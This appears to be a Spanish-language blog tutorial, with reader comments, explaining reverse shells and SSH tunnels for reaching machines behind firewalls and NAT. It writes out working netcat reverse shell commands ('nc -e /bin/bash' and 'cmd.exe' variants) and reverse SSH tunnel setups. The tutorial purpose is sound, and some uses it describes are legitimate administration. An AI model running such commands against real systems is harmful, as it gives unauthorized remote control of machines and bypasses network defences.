Reverse Shell y túneles SSH
Inspirado en el video de penetration testing publicado por la gente de Offensive Security (los encargados de desarrollar Back|Track), decidí investigar más profundamente el tema de las shells inversas. Lo que muestran en el video es genial, recomiendo totalmente que lo vean.

A continuación explicaré un poco de qué trata una shell inversa y cómo crearlas utilizando NetCat y SSH. Debido a la necesidad de utilizar tuneles SSH, también explicaré de qué trata este tipo de túneles y cómo utilizarlos.


Qué es una shell inversa?


Comúnmente un usuario se conecta a otra máquina a través de ssh, telnet, etc, y obtiene una shell allí. A este tipo de conexión podríamos llamarla shell remota "normal". Shell inversa se le dice a una conexión establecida desde la máquina destino al cliente, en lugar del cliente a la máquina destino, donde el cliente obtiene una shell en esta última. Esto es, la conexión la inicia la misma máquina donde se ejecutarán los comandos luego.

shell remota "normal": Cliente ----> Máquina remota (shell)
shell inversa: Máquina remota (shell) ----> Cliente


Para qué sirve una shell inversa?

Una shell inversa nos permite bypassear firewalls y NATeo. Supongan que tenemos un servidor en nuestra intranet con IP 192.168.1.10 y no tiene asignada ninguna IP pública, cómo lo accederíamos desde la red pública (Internet)? para poder accederlo a través de internet, necesitamos que tenga una IP pública y que el firewall que lo protege permita conexiones a los puertos de conexiones remotas (llamase 22 para ssh, 23 para telnet, etc). Este problema queda solucionado con una shell inversa.

Supongamos que tengo una máquina en Internet con dirección shell.demasiadovivo.com, y desde ella deseo acceder al servidor de la intranet con IP interna 192.168.1.10. Lo que necesito hacer es conectarme desde el servidor 192.168.1.10 a shell.demasiadovivo.com abriendo una shell inversa, la cual puedo utilizar desde la máquina shell.demasiadovivo.com para ejecutar comandos en el servidor.

En general los firewalls no permiten conexiones entrantes a la intranet, pero si permiten que las máquinas de la intranet salgan a Internet. En muchos casos sólo se permite salir a internet a través de los ports 80 y 443 (http y https), probablemente a través de un proxy.


Shell inversa utilizando la navaja suiza NetCat

Cualquier persona que sepa algo de redes ha sentido nombrar al menos una vez la herramienta NetCat. Esta simple herramienta sirve para crear sockets tcp y udp entre dos máquinas, a través de los cuales se pueden escribir y leer datos. NetCat va un poco más allá y también permite asociar un programa a una conexión, y gracias a esto podemos asociar una shell...

Con NetCat podemos crear tanto conexiones de clientes como servidores. Por ejemplo, para conectarnos a un servidor HTTP de google, simplemente podemos ejecutar "nc www.google.com 80". Para crear un socket que espera conexiones ejecutamos algo como "nc -l -p 5000", donde -l indica que se quede escuchando a la espera de conexiones y -p indica el port en el que debe escuchar.

Teniendo una idea básica de cómo funciona NetCat, pasemos a ver cómo realizar una shell inversa. Lo que haré es utilizar NetCat en shell.demasiadovivo.com para crear un socket que quede a la espera de conexiones en el port 4444. Esto se hace ejecutando:
$ nc -l -p 4444 -vvv
como expliqué anteriormente, -l deja a NetCat escuchando en el port 4444 definido con -p. El parámetro -vvv se utiliza para que NetCat nos de la mayor información posible sobre lo que sucede. Gracias a esto, cuando otra máquina se conecte a la nuestra, nc lo indicará por pantalla.

OK, ahora que tenemos nuestro NetCat escuchando en shell.demasiadovivo.com procedamos a crear la shell inversa. Para ello, en la máquina que deseamos controlar a través de un shell remoto (por ejemplo el server 192.168.1.10), ejecutamos lo siguiente:
$ nc -e /bin/bash shell.demasiadovivo.com 4444
El parámetro -e nos permite decirle a NetCat que, cuando establezca la conexión, todos los datos recibidos por el socket los envíe a bash, y todos los datos de salida de bash los envíe a través del socket.

Lo que veremos parados en la máquina shell.demasiadovivo.com será algo como:
root@bt:~# nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.1.10: inverse host lookup failed: Unknown server error : Connection timed out
connect to [shell.demasiadovivo.com] from (UNKNOWN) [192.168.1.10] 55524
esto es, ya tenemos nuestra shell inversa. Tengan en cuenta que no va a aparecer un prompt ni nada por el estilo, simplemente tiren un comando y esperen el resultado. Lo único que verán es el flujo de datos, es decir, lo que escriben en el socket y lo que responde bash desde el servidor.

Si la máquina que deseamos acceder remotamente es un Windows en lugar de un Linux, también pueden utilizar NetCat y ejecutar un command. En este caso, el comando sería casi idéntico, cambiando /bin/bash por cmd.exe:
nc -e cmd.exe shell.demasiadovivo.com 4444
Resúmen para crear una shell inversa utilizando NetCat
Máquina en internet: nc -l -p 4444 -vvv
Máquina en intranet: nc -e /bin/bash shell.demasiadovivo.com 4444

Túneles SSH

SSH es otra de esas joyitas con las que cuenta un administrador. Esta herramienta no sólo nos permite realizar conexiones seguras (todos los datos viajan encriptados), sino que también nos provee la posibilidad de tunelear otras conexiones y hacer port forwarding.

Cómo funcionan los túneles SSH? Explicar con palabras cómo funciona un tunel SSH es un dolor de cabeza, así que veamos un ejemplo y luego detallo qué sucede.

Supongamos que tenemos un servidor de e-mail SMTP (port 25), el cual funciona sin encripción, y deseamos que ahora los e-mails se transporten encriptados entre el cliente y el servidor. Lo que haremos es crear un túnel SSH indicando que todo lo que se reciba a través del túnel con un dado puerto fuente, se envíe a un dado puerto destino. El puerto destino en este caso será el 25, y el fuente puede ser cualquiera que deseemos, tal vez el 2525. El comando para realizar dicha acción desde el cliente es:
$ ssh -L 2525:localhost:25 demasiadovivo@mail.empresa-top.com
OK, el comando parece confuso así que vayamos por partes:
-L indica a SSH que el port fuente será el 2525, el host al que se conectará el server es localhost (la misma máquina tiene el servidor SSH y SMTP) y el port que recibirá los datos al otro lado de la conexión es el 25 (SMTP).

user@host es utilizado para loguearnos en el servidor SSH, donde user es el nombre de usuario remoto y host es el host donde queremos loguearnos, es decir, el servidor de mail.
Algo que vale aclarar es que el cliente SSH se conecta al servidor SSH de mail.empresa-top.com en el puerto de SSH (el default es 22). Una vez que realiza la conexión abre el puerto 2525 en la máquina cliente escuchando pedidos. Todo lo que recibe a través del port 2525 lo transporta hasta el servidor mail.empresa-top.com y lo entrega a localhost (el mismo server) en el port 25.



Como se ve en la imagen, una vez creado el túnel ssh con el comando anterior, tendremos que configurar nuestro cliente de mail (Thunderbird por ejemplo) para que se conecte localmente (localhost) al puerto 2525. Cuando enviemos un e-mail con Thunderbird, éste se conectará al port local 2525, SSH sabe que las conexiones a ese port deben ser enviadas al port 25 del servidor mail.empresa-top.com, así que transportará el contenido y cuando llega al servidor lo entregará en el port 25.

Si bien en este ejemplo creé el túnel desde el cliente al servidor, también se puede hacer de forma inversa... ésta es la que nos interesa para las shells inversas. Para crear una conexión desde el servidor al cliente, el cliente deberá tener instalado un servidor SSH en su máquina (en el caso anterior sólo hacía falta un cliente). El comando, en este caso ejecutado desde el servidor, es el siguiente:
$ ssh -R 2525:localhost:25 dv@shell.demasiadovivo.com
En este caso -R funciona de la misma forma que -L, con la diferencia que estamos ejecutando el comando desde el servidor y queremos que el túnel sea reverso. La dirección del servidor SSH en este caso es la de nuestra máquina cliente, es decir shell.demasiadovivo.com, y el usuario con el que nos logueamos en dicha máquina es dv.

Por como plantee el ejemplo, el servidor de e-mail está en la misma máquina que el de SSH, pero SSH permite hacer forward a otros servidores. Supongamos que sólo deseamos encriptar la conexión entre el cliente de mail y una máquina que se encuentre en la misma red que el servidor de mail, luego la conexión entre dicha máquina y el servidor de mail puede ir sin encripción. La máquina accesible por el cliente de mail tendrá un servidor SSH que hará forward de lo que recibe al servidor de mail.
En este caso, el cliente ejecutará un comando como el siguiente:
$ ssh -L 2525:mail.empresa-top.com:25 demasiadovivo@ssh.empresa-top.com
La máquina que hace de front-end SSH tiene el nombre ssh.empresa-top.com, mientras que el servidor de e-mail sigue llamándose mail.empresa-top.com. Una vez establecido el túnel, cuando el cliente se conecte al port 2525 de localhost y envíe datos, SSH los transportará a través del túnel y cuando lleguen a ssh.empresa-top.com, éste los entregará al servidor mail.empresa-top.com en el puerto 25.



NOTA: los túneles SSH también se pueden crear en Windows con herramientas como PuTTY. Para ello van al apartado Connection -> SSH -> Tunnels, en source port colocan 2525 y en destination shell.demasiadovivo.com:25, y le dan al botón Open.


Shell inversa utilizando SSH

Ufff, explicar los túneles SSH fue más complicado de lo que esperaba...
El uso que nos interesa es realizar un túnel a través del cual ejecutar una shell remota. El túnel lo inicia la máquina sobre la cual deseamos ejecutar el shell (recuerden, es un shell inverso), por ejemplo, podemos usar el servidor 192.168.1.10. Este servidor se conectará a un servidor ssh instalado en mi máquina shell.demasiadovivo.com y creará un tunel. Luego, desde mi máquina yo me conecto al túnel y tendré mi shell remota.

Lo que haremos para crear una shell inversa es utilizar un túnel SSH creado desde la máquina en la intranet (por ejemplo nuestro server 192.168.1.10) hacia nuestra máquina en internet shell.demasiadovivo.com. Como expliqué en la sección anterior, en la máquina de internet tendré que tener un servidor SSH instalado.

Procedamos como expliqué anteriormente, creamos el túnel con:
$ ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Esto crea un tunel a través del cual las conexiones a localhost en shell.demasiadovivo.com al port 4444 se envían a la máquina de la intranet al port 22 (ssh). Una vez más, cómo la conexión sale de la intranet, la dirección destino es la de la máquina en internet.

Una vez creado el túnel, ya podemos obtener nuestra shell remota. Para esto, en nuestra máquina de internet simplemente nos conectamos a localhost en el port 4444. Hay que tener en cuenta que el usuario con el que nos loguiemos deberá existir en la máquina de la intranet:
$ ssh demasiadovivo@localhost -p 4444
Puede resultar confuso, pero el comando anterior no nos abre un shell en la máquina local, sino en la máquina remota, a través del reenvío del túnel SSH establecido en el port 4444. El usuario demasiadovivo es un usuario válido en el server.

Resumen para crear una shell inversa utilizando SSH:
Máquina en intranet: ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Máquina en internet: ssh demasiadovivo@localhsot -p 4444

Shell inversa utilizando NetCat Tuneleado por SSH

Entramos a mezclar un poco las cosas. Como en el caso anterior necesitamos tener un servidor SSH tanto en la máquina de la intranet como en la que se encuentra en internet, se me ocurrió eliminar uno de estos utilizando NetCat.

Lo que haré es crear un túnel SSH desde la máquina en la intranet a shell.demasiadovivo.com, y además dejar NetCat escuchando en el port 2222, asociando una shell. Luego desde shell.demasiadovivo.com solamente tendré que conectarme con nc al port 4444 en localhost.

En la máquina de la intranet necesitamos ejecutar lo siguiente:
$ ssh -R 4444:localhost:2222 dv@shell.demasiadovivo.com
$ nc -l -p 2222 -vvv -e /bin/bash
En shell.demasiadovivo.com simplemente nos conectamos al port 4444 de localhost:
$ nc localhost 4444
Con esto no necesitamos que la máquina de la intranet tenga un servidor SSH.


Conclusiones

Vimos cómo una conexión remota a una máquina que se encuentra en la intranet, con IP privada y detrás de un firewall. Este método se utiliza muchisimo para tomar control de máquinas en una red. Los exploits suelen contener el código hexa para crear una shell inversa como payload, pero es muy útil saber hacerlo con herramientas tan comunes y útiles como NetCat y SSH. Además esto nos sirve para administrar legalmente máquinas que se encuentran en nuestra intranet, sin necesidad de configurar el firewall para permitir tales conexiones... siempre es más seguro hacer conexiones de esta forma que tener la máquina con una IP pública corriendo un server SSH.

Esperaba incluir en este artículo el método para obtener shells inversas pasando a través de un proxy. Si la única salida que tienen las máquinas de la intranet a internet es a través de un proxy web la cosa se complica porque es necesario un túnel HTTP. Como el artículo quedó bastante largo, este dato quedará para un artículo aparte =)


Referencias


- Little Reverse Shell Guide
- Reverse SSH Tunneling
- SSH Tutorial for Linux
- On ProxyTunnel

7 comentarios:

d3m4s1@d0v1v0 dijo...

UPDATE: me di cuenta que la explicación del túnel SSH tenía un fallo y faltaba explicar la posibilidad de forwardear datos a otro server, así que la arreglé, y agregué la explicación de esto último. Espero que les sirva!

MagnoBalt dijo...

Muy bueno el post y bien explicado gracias.. En Estos dias lo pruebo.. hay algo parecido a esto aca http://www.delincuentedigital.com.ar/2010/03/tunelizando-con-ssh.aspx

Un abrazoo

Richard dijo...

Soy totalmente nuevo en esto asi que por ahi le pifio feo pero te hago una consulta... en la parte de Shell inversa con NetCat Tuneleado por SSH... la ultima conexion no deberia ser 'nc localhost 4444'? o entendi todo como el traste?

Estan muy buenos los articulos, metele pa adelante.
Saludos

d3m4s1@d0v1v0 dijo...

Uhh tenes razón @Richard, entre tanta mezcla de ports le pifié en ese párrafo, ahora lo corrijo, gracias!!!

nacho dijo...

Muy buen post! interesante como siempre!
Saludos!

Anónimo dijo...

Muy bueno, gracias ! Postear estos articulos en español es muy importante.

Anónimo dijo...

Cojonudamente explicado.

Publicar un comentario